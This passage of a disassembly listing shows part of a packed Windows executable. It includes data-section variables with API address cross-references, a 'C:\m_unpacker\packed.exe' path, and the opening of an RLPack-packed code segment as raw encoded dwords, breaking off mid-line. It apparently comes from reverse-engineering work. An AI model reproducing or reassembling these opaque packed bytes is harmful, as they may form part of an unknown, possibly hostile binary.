sub_403C25+86Ar dword_4272E0 dd 77D4932Ch ; DATA XREF: sub_403C25+206w ; sub_403C25+227r dword_4272E4 dd 77D5E310h ; DATA XREF: sub_403C25+18Cw ; sub_403C25+1D2r dword_4272E8 dd 76206B7Fh ; DATA XREF: sub_403C25+814w ; sub_403C25+87Ar dword_4272EC dd 71AB1444h ; DATA XREF: sub_403C25+606w ; sub_403C25+756r dword_4272F0 dd 77DD189Ah ; DATA XREF: sub_403C25+2BFw ; sub_407C5D+5Ar ... dword_4272F4 dd 71AB3F8Dh ; DATA XREF: sub_403C25+64Dw ; sub_403C25+77Er ... dword_4272F8 dd 77DD5D20h ; DATA XREF: sub_403C25+302w ; sub_403C25+316r ... dword_4272FC dd 71AB1890h ; DATA XREF: sub_403711+82r ; sub_403C25+626w ... dword_427300 dd 77C76B34h ; DATA XREF: sub_403C25+42Ew ; sub_403C25+490r dword_427304 dd 77D5E38Ch ; DATA XREF: sub_403C25+199w ; sub_403C25+1DAr dword_427308 dd 77DDA20Bh ; DATA XREF: sub_403C25+347w ; sub_403C25+39Cr dword_42730C dd 76F36EEBh ; DATA XREF: sub_403C25+A73w dword_427310 dd 71AB12A7h ; DATA XREF: sub_401DE8+7r ; sub_40362D+2Br ... dword_427314 dd 71AB1746h ; DATA XREF: sub_401000+37r ; sub_401294+1Er ... dword_427318 dd 77EBA595h ; DATA XREF: sub_403C25+4Bw ; sub_403C25+C2r ... dword_42731C dd 77C7531Dh ; DATA XREF: sub_403C25+455w ; sub_403C25+4ADr dword_427320 dd 77D4BDCAh ; DATA XREF: sub_403C25+165w ; sub_403C25+1BAr ... dword_427324 dd 71C3516Ah ; DATA XREF: sub_403C25+9E1w dword_427328 dd 71AB32CAh ; DATA XREF: sub_403C25+667w ; sub_403C25+78Er ... dword_42732C dd 71AB5690h ; DATA XREF: sub_401000+74r ; sub_401000+E5r ... dword_427330 dd 1F7CB8F8h ; DATA XREF: sub_403C25+BECw ; sub_403C25+C18r dword_427334 dd 77EBB1E7h ; DATA XREF: sub_403C25+3Ew ; sub_403C25+BAr ... dword_427338 dd 77DD59F0h ; DATA XREF: sub_403C25+298w ; sub_403C25+2CEr ... dword_42733C dd 71AB5DE2h ; DATA XREF: sub_403C25+633w ; sub_403C25+76Er dword_427340 dd 71AB3ECEh ; DATA XREF: sub_403C25+619w ; sub_403C25+75Er dword_427344 dd 73B81B0Fh ; DATA XREF: sub_403C25+C63w dword_427348 dd 76204E4Dh ; DATA XREF: sub_403C25+85Bw ; sub_407CCD+4F8r dword_42734C dd 0 ; DATA XREF: sub_403C25+112w dword_427350 dd 1F7D886Ah ; DATA XREF: sub_403C25+BB8w ; sub_403C25+BF3r dword_427354 dd 71AB12F8h ; DATA XREF: sub_401000+27r ; sub_4014EF+1B4r ... dword_427358 dd 77C76551h ; DATA XREF: sub_403C25+43Bw ; sub_403C25+49Dr dword_42735C dd 77C729E2h ; DATA XREF: sub_403C25+47Cw ; sub_403C25+4C5r dword_427360 dd 77C7212Fh ; DATA XREF: sub_403C25+448w ; sub_403C25+4A5r dword_427364 dd 71AB1AF4h ; DATA XREF: sub_401000+C1r ; sub_4014EF+20Ar ... dword_427368 dd 77D5E303h ; DATA XREF: sub_403C25+1A6w ; sub_403C25+1E2r dword_42736C dd 71C4576Ch ; DATA XREF: sub_403C25+9D4w ; sub_403C25+A28r dword_427370 dd 77D4702Fh ; DATA XREF: sub_403C25+158w ; sub_403C25+1ADr ... dword_427374 dd 77E6C0E3h ; DATA XREF: sub_403C25+8Cw ; sub_403C25+E2r dword_427378 dd 71AB1ED3h ; DATA XREF: sub_403C25+5F2w ; sub_403C25+746r ... dword_42737C dd 71B2A381h ; DATA XREF: sub_403C25+B14w ; sub_403C25+B30r dword_427380 dd 77DDA595h ; DATA XREF: sub_403C25+31Cw ; sub_40DAF6+55r dword_427384 dd 77DD22EAh ; DATA XREF: sub_403C25+27Ew ; sub_403C25+2B9r dword_427388 dd 773F97B0h ; DATA XREF: sub_403C25+B7Bw dword_42738C dd 76D67A29h ; DATA XREF: sub_403C25+ABDw dword_427390 dd 76D674FAh ; DATA XREF: sub_403C25+AB0w ; sub_403C25+AB7r dword_427394 dd 71AB3C22h ; DATA XREF: sub_401000+46r ; sub_4014EF+179r ... dword_427398 dd 71AB2BBFh ; DATA XREF: sub_403C25+674w ; sub_403C25+796r ... dword_42739C dd 1F7BA3A9h ; DATA XREF: sub_403C25+BC5w ; sub_403C25+C00r dword_4273A0 dd 71AB401Ch ; DATA XREF: sub_403430+1Fr ; sub_4037AE+86r ... dword_4273A4 dd 71C214BAh ; DATA XREF: sub_403C25+993w ; sub_403C25+A00r dword_4273A8 dd 71AB868Dh ; DATA XREF: sub_403C25+640w ; sub_403C25+776r dword_4273AC dd 71AB1A6Dh ; DATA XREF: sub_401000+ECr ; sub_4014EF:loc_401731r ... dword_4273B0 dd 71AB155Ah ; DATA XREF: sub_403711+4Cr ; sub_403C25+57Dw ... dword_4273B4 dd 71B22C25h ; DATA XREF: sub_4010F9+B0r ; sub_4010F9+C8r ... dword_4273B8 dd 71AB5A01h ; DATA XREF: sub_403C25+522w ; sub_403C25+6A6r ... dword_4273BC dd 71B2ACCBh ; DATA XREF: sub_403C25+AFAw ; sub_403C25+B1Br dword_4273C0 dd 77E78C17h ; DATA XREF: sub_403C25+31w ; sub_403C25+ADr ... dword_4273C4 dd 77D49A11h ; DATA XREF: sub_403C25+17Fw ; sub_403C25+1CAr dd 0 dword_4273CC dd 76D62A37h ; DATA XREF: sub_403C25+909w ; sub_403C25+91Dr ... dword_4273D0 dd 77E6CBF9h ; DATA XREF: sub_403C25+99w ; sub_403C25+EAr ... dword_4273D4 dd 0 ; DATA XREF: sub_403C25:loc_403D23w ; sub_403C25+12Bw dword_4273D8 dd 0 ; DATA XREF: sub_403C25+126w dword_4273DC dd 0 ; DATA XREF: sub_403C25:loc_403E13w ; sub_403C25:loc_403E7Aw dword_4273E0 dd 0 ; DATA XREF: sub_403C25+250w dword_4273E4 dd 0 ; DATA XREF: sub_403C25:loc_403F0Fw ; sub_403C25:loc_403F54w ... dword_4273E8 dd 0 ; DATA XREF: sub_403C25+400w dword_4273EC dd 0 ; DATA XREF: sub_403C25:loc_40410Bw dword_4273F0 dd 0 ; DATA XREF: sub_403C25+4E1w dword_4273F4 dd 0 ; DATA XREF: sub_403C25:loc_4043DCw dword_4273F8 dd 0 ; DATA XREF: sub_403C25+7B2w dword_4273FC dd 0 ; DATA XREF: sub_403C25:loc_4044C7w ; sub_403C25+8D1w ... dword_427400 dd 0 ; DATA XREF: sub_403C25+8CCw dword_427404 dd 0 ; DATA XREF: sub_403C25:loc_40455Bw ; sub_40997B:loc_40C659r dword_427408 dd 0 ; DATA XREF: sub_403C25+931w dword_42740C dd 0 ; DATA XREF: sub_403C25:loc_404666w dword_427410 dd 0 ; DATA XREF: sub_403C25+A3Cw dword_427414 dd 0 ; DATA XREF: sub_403C25:loc_4046B0w dword_427418 dd 0 ; DATA XREF: sub_403C25+A86w dword_42741C dd 0 ; DATA XREF: sub_403C25:loc_4046FAw dword_427420 dd 0 ; DATA XREF: sub_403C25+AD0w dword_427424 dd 0 ; DATA XREF: sub_403C25:loc_40476Ew dword_427428 dd 0 ; DATA XREF: sub_403C25+B44w dword_42742C dd 0 ; DATA XREF: sub_403C25:loc_4047B8w dword_427430 dd 0 ; DATA XREF: sub_403C25+B8Ew dword_427434 dd 0 ; DATA XREF: sub_403C25:loc_404856w dword_427438 dd 0 ; DATA XREF: sub_403C25+C2Cw dword_42743C dd 0 ; DATA XREF: sub_403C25:loc_4048A0w dword_427440 dd 0 ; DATA XREF: sub_403C25+C76w dword_427444 dd 81h dup(0) ; DATA XREF: sub_404B10+6Ao dword_427648 dd 5 dup(0) ; DATA XREF: sub_404F3A+32o dword_42765C dd 0Fh dup(0) ; DATA XREF: sub_4053E4+47o byte_427698 db 0 ; DATA XREF: sub_4058B9+1D3w ; sub_4058B9+2D2o align 2 word_42769A dw 0 ; DATA XREF: sub_4058B9+1E3w word_42769C dw 0 ; DATA XREF: sub_4058B9+1E9w word_42769E dw 0 ; DATA XREF: sub_4058B9+1F0w byte_4276A0 db 0 ; DATA XREF: sub_4058B9+1F7w byte_4276A1 db 0 ; DATA XREF: sub_4058B9+1FEw word_4276A2 dw 0 ; DATA XREF: sub_4058B9+204w dword_4276A4 dd 0 ; DATA XREF: sub_4058B9+234w ; sub_4058B9+250w dword_4276A8 dd 0 ; DATA XREF: sub_4058B9+258w byte_4276AC db 0 ; DATA XREF: sub_4058B9+26Aw byte_4276AD db 0 ; DATA XREF: sub_4058B9+27Dw word_4276AE dw 0 ; DATA XREF: sub_4058B9+295w word_4276B0 dw 0 ; DATA XREF: sub_4058B9+2A4w word_4276B2 dw 0 ; DATA XREF: sub_4058B9+29Cw dword_4276B4 dd 101h dup(0) ; DATA XREF: sub_4058B9+2B9o dword_427AB8 dd 80h dup(0) ; DATA XREF: sub_406DA5+DFo ; sub_407067+193o ... byte_427CB8 db 0 ; DATA XREF: sub_407067+1A1w ; sub_407067+27Ao align 2 word_427CBA dw 0 ; DATA XREF: sub_407067+1AEw word_427CBC dw 0 ; DATA XREF: sub_407067+1B8w word_427CBE dw 0 ; DATA XREF: sub_407067+1C1w byte_427CC0 db 0 ; DATA XREF: sub_407067+1C8w byte_427CC1 db 0 ; DATA XREF: sub_407067+1CFw word_427CC2 dw 0 ; DATA XREF: sub_407067+1D6w dword_427CC4 dd 0 ; DATA XREF: sub_407067+1E3w dword_427CC8 dd 0 ; DATA XREF: sub_407067+1EBw word_427CCC dw 0 ; DATA XREF: sub_407067+244w word_427CCE dw 0 ; DATA XREF: sub_407067+22Cw word_427CD0 dw 0 ; DATA XREF: sub_407067+256w word_427CD2 dw 0 ; DATA XREF: sub_407067+1F7w dword_427CD4 dd 101h dup(0) ; DATA XREF: sub_407067+265o dword_4280D8 dd 0 ; DATA XREF: sub_406DA5+78r ; sub_407067:loc_40719Dr ... dd 3 dup(0) byte_4280E8 db 0 ; DATA XREF: sub_407550+241o ; sub_407550+250w ... byte_4280E9 db 0 ; DATA XREF: sub_407550+264w word_4280EA dw 0 ; DATA XREF: sub_407550+295w word_4280EC dw 0 ; DATA XREF: sub_407550+27Cw ; sub_407550:loc_407922w word_4280EE dw 0 ; DATA XREF: sub_407550+29Bw byte_4280F0 db 0 ; DATA XREF: sub_407550+288w byte_4280F1 db 0 ; DATA XREF: sub_407550+25Dw word_4280F2 dw 0 ; DATA XREF: sub_407550+3F2w ; sub_407550+41Cw dword_4280F4 dd 0 ; DATA XREF: sub_407550:loc_407819w ; sub_407550+39Ar dword_4280F8 dd 0 ; DATA XREF: sub_407550+2D6w word_4280FC dw 0 ; DATA XREF: sub_407550+394w ; sub_407550+3E8o word_4280FE dw 0 ; DATA XREF: sub_407550+335w ; sub_407550+35Ar ... dword_428100 dd 0 ; DATA XREF: sub_407550+30Cw ; sub_407550+3D9w dword_428104 dd 0 ; DATA XREF: sub_407550+328w ; sub_407550+3ABw ... byte_428108 db 0 ; DATA XREF: sub_407550+311r ; sub_407550+31Fw byte_428109 db 0 ; DATA XREF: sub_407550+2DBw ; sub_407550+3A4w ... word_42810A dw 0 ; DATA XREF: sub_407550+2E9w word_42810C dw 0 ; DATA XREF: sub_407550+3F9w ; sub_407550+42Aw word_42810E dw 0 ; DATA XREF: sub_407550+32Ew word_428110 dw 0 ; DATA XREF: sub_407550+360w ; sub_407550+432o word_428112 dw 0 ; DATA XREF: sub_407550+36Fw ; sub_407550+409w dword_428114 dd 0 ; DATA XREF: sub_407550+369w align 10h dword_428120 dd 0 ; DATA XREF: sub_407550+39Fw ; sub_407550+417o dword_428124 dd 0 ; DATA XREF: sub_407550+33Bw byte_428128 db 0 ; DATA XREF: sub_407550+341w byte_428129 db 0 ; DATA XREF: sub_407550+347w word_42812A dw 0 ; DATA XREF: sub_407550+354w dword_42812C dd 7 dup(0) ; DATA XREF: sub_407550+3EDo dword_428148 dd 0 ; DATA XREF: sub_407550+30w ; sub_407550+43Br dword_42814C dd 100h dup(0) ; DATA XREF: sub_407550+1C3o ; sub_407550+47Eo dword_42854C dd 2BDh dup(0) ; DATA XREF: sub_407A4E+1Do ; sub_407AEEo ... db 2 dup(0) word_429042 dw 0 ; DATA XREF: .packed:0041C79Do dd 0D42h dup(0) dword_42C54C dd 0 ; DATA XREF: sub_407A4E+13o ; sub_407AEE+Eo ... dword_42C550 dd 2 dup(0) ; DATA XREF: sub_4081F8+C8o dword_42C558 dd 0 ; DATA XREF: sub_4079D6+25o ; sub_409034+41Bo ... dd 5 dup(0) dword_42C570 dd 0 ; DATA XREF: sub_40997B+A89r dd 2D9h dup(0) dword_42D0D8 dd 0 ; DATA XREF: sub_4037AE+A8r ; sub_4079D6+6Co ... dd 7Fh dup(0) dword_42D2D8 dd 0 ; DATA XREF: sub_40E1D6+41w ; sub_40E311+40w ... dword_42D2DC dd 0 ; DATA XREF: sub_4037AE:loc_4037F5r ; sub_4037AE+7Cr ... dword_42D2E0 dd 0 ; DATA XREF: sub_40E1D6+52w ; sub_40E311+3Ar ... dword_42D2E4 dd 0 ; DATA XREF: sub_4081F8+Cr ; sub_4095BB+7Ew ... dword_42D2E8 dd 0 ; DATA XREF: sub_40E311+75r ; sub_40E4F2+2Aw dword_42D2EC dd 0 ; DATA XREF: sub_4034A7+141w ; sub_4039C6+153w ... byte_42D2F0 db 0 ; DATA XREF: sub_4095BB+C4o ; sub_40E1D6+5Fw ... align 4 dd 0B57h dup(0) dword_430050 dd 3 dup(0) ; DATA XREF: .packed:0041C778o dword_43005C dd 4002h dup(0) ; DATA XREF: .packed:off_41C19Co db 0 align 4 dd 15BAh dup(0) dword_445750 dd 12A43h dup(0) ; DATA XREF: .packed:off_41E030o dword_49005C dd 937Eh dup(0) ; DATA XREF: .packed:off_41C774o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: .packed:off_421ED0o dd 14A0h dup(0) dword_4BA0D8 dd 1Bh ; DATA XREF: sub_409034+3Aw ; sub_40997B:loc_40D839r ... align 10h dword_4BA0E0 dd 0 ; DATA XREF: sub_409034:loc_4094CDo dword_4BA0E4 dd 20h dup(0) ; DATA XREF: sub_409034+431o ; sub_409034+4EAo ... dword_4BA164 dd 10h dup(0) ; DATA XREF: sub_409034+448o ; sub_40997B+8B4o dword_4BA1A4 dd 24h dup(0) ; DATA XREF: sub_409034+45Fo dword_4BA234 dd 0 ; DATA XREF: sub_409034+453w ; sub_409034+501w ... dword_4BA238 dd 0 ; DATA XREF: sub_409034+472w dd 3 dup(0) byte_4BA248 db 0 ; DATA XREF: sub_409802+28r ; sub_409802+30o align 4 dword_4BA24C dd 0 ; DATA XREF: sub_409034+49Ew ; sub_409034+4B5r ... dword_4BA250 dd 0 ; DATA XREF: sub_409034+436w ; sub_40997B+855r align 10h dword_4BA260 dd 0 ; DATA XREF: sub_40EF31+Aw align 8 dword_4BA268 dd 0 ; DATA XREF: sub_4101B6+5Er ; sub_4101B6+A4w align 10h word_4BA270 dw 0 ; DATA XREF: sub_4101B6+55r ; sub_4101B6+9Ao word_4BA272 dw 0 ; DATA XREF: sub_4101B6+48r db 2 dup(0) word_4BA276 dw 0 ; DATA XREF: sub_4101B6+3Br word_4BA278 dw 0 ; DATA XREF: sub_4101B6+2Er word_4BA27A dw 0 ; DATA XREF: sub_4101B6+21r align 10h dword_4BA280 dd 0 ; DATA XREF: sub_4103EB+3Br ; sub_4103EB+91w dword_4BA284 dd 0 ; DATA XREF: sub_40F8BC+1B9w ; sub_40FD42+80w ... dword_4BA288 dd 0 ; DATA XREF: sub_414EFB:loc_414F95w ; sub_4151BF+A5w ... dword_4BA28C dd 0 ; DATA XREF: sub_417827+13Ar dword_4BA290 dd 0A28h ; DATA XREF: sub_410B5C+52w dword_4BA294 dd 501h ; DATA XREF: sub_410B5C+49w dword_4BA298 dd 5 ; DATA XREF: sub_410B5C+3Ew dword_4BA29C dd 1 ; DATA XREF: sub_410B5C+30w dword_4BA2A0 dd 1 ; DATA XREF: sub_409034:loc_40931Dr ; sub_41639F+91w dword_4BA2A4 dd 350B20h ; DATA XREF: sub_409034+2F2r ; sub_409034+312r ... dd 0 dword_4BA2AC dd 350B48h ; DATA XREF: sub_4162E6+44w ; sub_418DD0+9r ... dword_4BA2B0 dd 0 ; DATA XREF: sub_419489+36r dword_4BA2B4 dd 0 ; DATA XREF: sub_418DD0+16r ; sub_41919E+4r ... dd 0 off_4BA2BC dd offset aCM_unpackerPac ; DATA XREF: sub_41639F+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4BA2C4 db 0 ; DATA XREF: sub_41085B+2Dw ; sub_416A9B+5r align 4 dword_4BA2C8 dd 0 ; DATA XREF: sub_41085B+27w dword_4BA2CC dd 0 ; DATA XREF: sub_41085B+4r ; sub_41085B+8Bw dword_4BA2D0 dd 0 ; DATA XREF: sub_410B5C+84w ; sub_4162E6:loc_4162F8r ... align 8 dword_4BA2D8 dd 0 ; DATA XREF: sub_40E41E+16o ; sub_40E43D+19o ... dword_4BA2DC dd 0 ; DATA XREF: sub_40E3D1+3Do ; sub_40E882r ... dword_4BA2E0 dd 0 ; DATA XREF: sub_4115BAr dword_4BA2E4 dd 0 ; DATA XREF: sub_412488+4Bw ; sub_4125A1+2Dw ... dword_4BA2E8 dd 0 ; DATA XREF: sub_4133D3+11r ; sub_4134D7+1Ar ... byte_4BA2EC db 0 ; DATA XREF: sub_4133D3+3r ; sub_4133D3+98r ... align 10h dword_4BA2F0 dd 0 ; DATA XREF: sub_4134D7+11r ; sub_4135B5+21w ... byte_4BA2F4 db 0 ; DATA XREF: sub_4135B5+51w align 4 dword_4BA2F8 dd 0 ; DATA XREF: sub_4137AB+4Er ; sub_413B86+3Ar ... dword_4BA2FC dd 0 ; DATA XREF: sub_4137AB+5Cr ; sub_413B86+43r ... dword_4BA300 dd 0 ; DATA XREF: sub_40F1BA+7Ar ; sub_413952+5r dword_4BA304 dd 0 ; DATA XREF: sub_413F5C+29r dword_4BA308 dd 1 ; DATA XREF: sub_4158A4+28r ; sub_4158A4+4Cw ... dd 2 dup(0) dword_4BA314 dd 0 ; DATA XREF: sub_410320+4r ; sub_410320+9Dr ... dd 3 dup(0) dword_4BA324 dd 0 ; DATA XREF: sub_4158A4+C0r ; sub_415E39+3Ar ... dd 0 dword_4BA32C dd 1 ; DATA XREF: sub_415CA0:loc_415E1Br ; sub_415E39+4w ... dword_4BA330 dd 0 ; DATA XREF: sub_41610A+3Ar ; sub_41610A+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41639F:loc_4163B6o ; .packed:off_4BA2BCo align 10h dd 3Ah dup(0) dword_4BA438 dd 1 ; DATA XREF: sub_4165EC+2r ; sub_4165EC+23w ... dword_4BA43C dd 0 ; DATA XREF: sub_416800+21r dword_4BA440 dd 0 ; DATA XREF: sub_4155FA+154w ; sub_41698Cw align 8 word_4BA448 dw 0 ; DATA XREF: sub_4170E3+1Ao ; sub_4170E3+46r byte_4BA44A db 0 ; DATA XREF: sub_4170E3+39r align 4 dword_4BA44C dd 7 dup(0) ; DATA XREF: sub_4170E3+52o dword_4BA468 dd 0 ; DATA XREF: sub_4170E3+40w ; sub_4170E3+5Co dword_4BA46C dd 0 ; DATA XREF: sub_4170E3+4Dw dword_4BA470 dd 0 ; DATA XREF: sub_4170E3+31w dword_4BA474 dd 0 ; DATA XREF: sub_4170E3+52w dword_4BA478 dd 77C26E79h ; DATA XREF: sub_417206:loc_417229r ; sub_417206+38r ... dword_4BA47C dd 1 ; DATA XREF: sub_41745D+26r ; sub_41745D:loc_4174C7w dword_4BA480 dd 0 ; DATA XREF: sub_4155FA+7r align 8 dword_4BA488 dd 0 ; DATA XREF: sub_417AF5+11w ; sub_417AF5+63w ... align 10h dword_4BA490 dd 0 ; DATA XREF: sub_417AF5+33o ; sub_417AF5+46r dword_4BA494 dd 10h dup(0) ; DATA XREF: sub_417AF5+C1o word_4BA4D4 dw 0 ; DATA XREF: sub_417D53+A8r word_4BA4D6 dw 0 ; DATA XREF: sub_417AF5+54r ; sub_417D53+DBr ... word_4BA4D8 dw 0 ; DATA XREF: sub_417D53+CAr word_4BA4DA dw 0 ; DATA XREF: sub_417D53+D3r ; sub_417D53:loc_417E45r word_4BA4DC dw 0 ; DATA XREF: sub_417D53+C0r word_4BA4DE dw 0 ; DATA XREF: sub_417D53+B8r word_4BA4E0 dw 0 ; DATA XREF: sub_417D53+B0r word_4BA4E2 dw 0 ; DATA XREF: sub_417D53+9Er dword_4BA4E4 dd 0 ; DATA XREF: sub_417AF5+4Br dword_4BA4E8 dd 10h dup(0) ; DATA XREF: sub_417AF5+FBo word_4BA528 dw 0 ; DATA XREF: sub_417D53+46r word_4BA52A dw 0 ; DATA XREF: sub_417AF5:loc_417B6Cr ; sub_417D53+78r ... word_4BA52C dw 0 ; DATA XREF: sub_417D53+67r word_4BA52E dw 0 ; DATA XREF: sub_417D53+70r ; sub_417D53:loc_417DD7r word_4BA530 dw 0 ; DATA XREF: sub_417D53+5Dr word_4BA532 dw 0 ; DATA XREF: sub_417D53+55r word_4BA534 dw 0 ; DATA XREF: sub_417D53+4Dr word_4BA536 dw 0 ; DATA XREF: sub_417D53+3Er dword_4BA538 dd 0 ; DATA XREF: sub_417AF5+80r dword_4BA53C dd 0 ; DATA XREF: sub_417AF5+132r ; sub_417AF5:loc_417C41r ... dword_4BA540 dd 0 ; DATA XREF: sub_417AE0r sub_417AE0+Ew dword_4BA544 dd 0 ; DATA XREF: sub_418081+3r ; sub_418081+2Ew ... dword_4BA548 dd 0 ; DATA XREF: sub_418081+43w ; sub_418081:loc_4180D0r dword_4BA54C dd 0 ; DATA XREF: sub_418081+4Aw ; sub_418081+60r dword_4BA550 dd 0 ; DATA XREF: sub_418B18:loc_418B7Fr ; sub_418B18+6Do dword_4BA554 dd 0 ; DATA XREF: sub_418B18:loc_418B56r ; sub_418B18+44o dword_4BA558 dd 0 ; DATA XREF: sub_418B18:loc_418B49r ; sub_418B18+37o dword_4BA55C dd 0 ; DATA XREF: sub_418B18:loc_418B63r ; sub_418B18+51o dd 0 dword_4BA564 dd 0 ; DATA XREF: sub_417827+3Fr dword_4BA568 dd 0 ; DATA XREF: sub_41920C+28r ; sub_41920C+48w ... byte_4BA56C db 1 ; DATA XREF: sub_40279Fr sub_40279F+9w align 10h dword_4BA570 dd 351110h ; DATA XREF: sub_415079:loc_41508Ar ; sub_41576A+14r ... align 10h dword_4BA580 dd 400h dup(0) ; DATA XREF: .packed:off_424658o ; .packed:00424660o dword_4BB580 dd 200h ; DATA XREF: sub_415079+9r ; sub_415079+56r ... dword_4BB584 dd 4E4h ; DATA XREF: sub_415CA0+14r ; sub_415CA0+65w ... align 10h dword_4BB590 dd 3 dup(0) ; DATA XREF: sub_415CA0+123o ; sub_415CA0+171o ... dword_4BB59C dd 0 ; DATA XREF: sub_415CA0+108w ; sub_415CA0+15Dw ... byte_4BB5A0 db 0 ; DATA XREF: sub_415EDF:loc_415FEBw ; sub_415EDF:loc_416008w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4BB6A0 db 0 ; DATA XREF: sub_415CA0+5Co ; sub_415CA0+AFo ... byte_4BB6A1 db 0 ; DATA XREF: sub_41090E+5Dr ; sub_415CA0+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4BB7A4 dd 0 ; DATA XREF: sub_415CA0+6Ew ; sub_415CA0+12Bw ... dd 6 dup(0) dword_4BB7C0 dd 350650h ; DATA XREF: sub_40FD42+5Cr ; sub_410C9B+B1r ... dword_4BB7C4 dd 3Fh dup(0) ; DATA XREF: sub_4153B5+92o dword_4BB8C0 dd 20h ; DATA XREF: sub_414EFB+8r ; sub_4151BF+Cr ... dword_4BB8C4 dd 0 ; DATA XREF: sub_4117A7+3Cw ; sub_411E4C+5r ... dword_4BB8C8 dd 0 ; DATA XREF: sub_41181A+23Ar ; sub_41181A+25Ar ... dword_4BB8CC dd 0 ; DATA XREF: sub_4117A7+31w ; sub_41181A+311w ... dword_4BB8D0 dd 0 ; DATA XREF: sub_4117A7+21w ; sub_41181A+22Dr ... dword_4BB8D4 dd 0 ; DATA XREF: sub_4117A7+28w ; sub_4117EFr ... dword_4BB8D8 dd 0 ; DATA XREF: sub_4117A7+15w ; sub_4117EF+8r ... dword_4BB8DC dd 0 ; DATA XREF: sub_40E8C0+Fr ; sub_4117A7+36w ... dword_4BB8E0 dd 350000h ; DATA XREF: sub_40E8C0+66r ; sub_40ECAF+5Ar ... dword_4BB8E4 dd 1 ; DATA XREF: sub_40E8C0r sub_40ECAF+Cr ... dword_4BB8E8 dd 142340h ; DATA XREF: sub_410B5C+7Aw ; sub_41628E+Fr ... dword_4BB8EC dd 1 ; DATA XREF: sub_4162E6+ADw ; sub_418DD0r dword_4BB8F0 dd 1 ; DATA XREF: sub_416064r ; sub_416064+11w ... dword_4BB8F4 dd 35075Ch ; DATA XREF: sub_40F7C3+13r ; sub_40F7C3:loc_40F805r ... dword_4BB8F8 dd 350758h ; DATA XREF: sub_40F7C3+1r ; sub_40F7C3+Cr ... dd 1C1h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0) _packed ends ; Section 2. (virtual address 000BE000) ; Virtual size : 00010BE6 ( 68582.) ; Section size in file : 00010BE6 ( 68582.) ; Offset to raw data for section: 000BE000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 4BE000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0EC8B1C55h, 5A08E81h, 5653001Ch, 6ADB3357h, 458D100Fh dd 0E85043F0h, 80D8831Ah, 0DC0CC483h, 0C766CC1Ah, 50E00222h dd 5415FF07h, 89074273h, 0A166F4C1h, 0A141FBFCh, 53101410h dd 2E4016Ah, 0F22C6666h, 8B94441Eh, 0FA83F83Ch, 87797436h dd 57503190h, 172BC28h, 248EF883h, 40CBE67h, 85198DC3h dd 5640FA60h, 0D2C1A43h, 0FCA4B85Dh, 35948493h, 8C1D4F0Ch dd 3FEB0875h, 50593A03h, 64C6FC68h, 1EFE572Eh, 6E0190CDh dd 40D78D08h, 14A41CABh, 0D7349D86h, 0F245030h, 0B0644D08h dd 320475CFh, 24EBC006h, 0C269F468h, 41A06028h, 0FC871BEh dd 1B080ACh, 0C95B5E5Fh, 10F9C353h, 0BEC30354h, 0E906C774h dd 8AB9F47Dh, 0C5A5E01Eh, 36CBE02h, 0FCACBD10h, 667F7C7Eh dd 16C03332h, 0ABF323B2h, 0F4A021E7h, 6A84814Eh, 0DC858845h dd 1A59FB94h, 3DC6DD3Ch, 6814D4AAh, 50878FFDh, 3FD1356Ah dd 9E572933h, 1B848A22h, 0FCACB388h, 585E918Ah, 0A7F42520h dd 758B8510h, 0F240Ch, 468910EAh, 0F064B814h, 1E8357D1h dd 47EE156h, 32100690h, 98B4941Ch, 49BB05E8h, 743A4DC3h dd 759B3B3Bh, 5692C00Ah, 97418B8h, 483B26DDh, 0EB580A92h dd 0E3239802h, 1572E2C8h, 0A1F3A1DDh, 21D948E2h, 645965E4h dd 0DE229E3h, 15E70FD7h, 8EE4F633h, 0EBE23456h, 0A456D944h dd 4F32EF10h, 0C0FA7220h, 680D7404h, 0B08A07D0h, 0BDE0EB15h dd 0B80CB941h, 200836B8h, 0DC266F2Eh, 0C2C87180h, 5920A792h dd 9BFC7589h, 99350E7Bh, 7D421E3Ah, 0B9F87C41h, 2235CCD0h dd 0D95FC104h, 0FB3D8B40h, 28BC1749h, 7509E85h, 28C4E9BEh dd 0A7C3EB04h, 0F8F21030h, 406809DFh, 2873A8C0h, 28208BA2h dd 906A26E0h, 54BBC1EDh, 573499C5h, 5312CF28h, 88062293h dd 0D7B78D24h, 0C68B26EBh, 599900CFh, 0FA83F9F7h, 41740C12h dd 4EFCA80Ah, 4F2446C5h, 0B9529350h, 35849A85h, 744E6828h dd 0EB303E0Fh, 0CCBD26B2h, 12F1E1A9h, 21C81291h, 14FF4803h dd 75C11207h, 31046A09h, 24C616C7h, 19F013CBh, 95A31C0Fh dd 0FF0C1949h, 606801EFh, 3E94DA25h, 0D0A4D2C1h, 0F35885BCh dd 13DC31CAh, 56C4A8E8h, 0F3688791h, 0BEF04059h, 6A71C170h dd 0A09C683Ch, 2FA1A44Fh, 0C75A5CEFh, 68DB3C50h, 41175EE3h dd 